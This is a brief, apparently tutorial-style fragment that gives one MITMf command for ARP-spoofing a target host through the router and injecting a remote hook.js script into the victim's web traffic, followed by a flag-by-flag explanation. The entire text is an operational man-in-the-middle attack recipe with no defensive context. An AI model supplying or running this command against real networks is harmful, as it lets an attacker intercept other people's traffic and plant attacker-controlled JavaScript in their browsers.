- Use the MITMF.
- Open up a new Terminal:
Use mitmf --spoof --arp -i <interface> --gateway <router IP>
--target <target IP> --inject --js-url <hook.js URL>
- spoof: Loads the spoof plugin
- arp: Redirects ARP packets
- i: Specifies the interface to inject packets on
- gateway: Sets the IP of your router to redirect through
- target: Sets the target IP to inject the hook.js script
- inject: Loads the inject function
- js-url: Specifies the JavaScript code to inject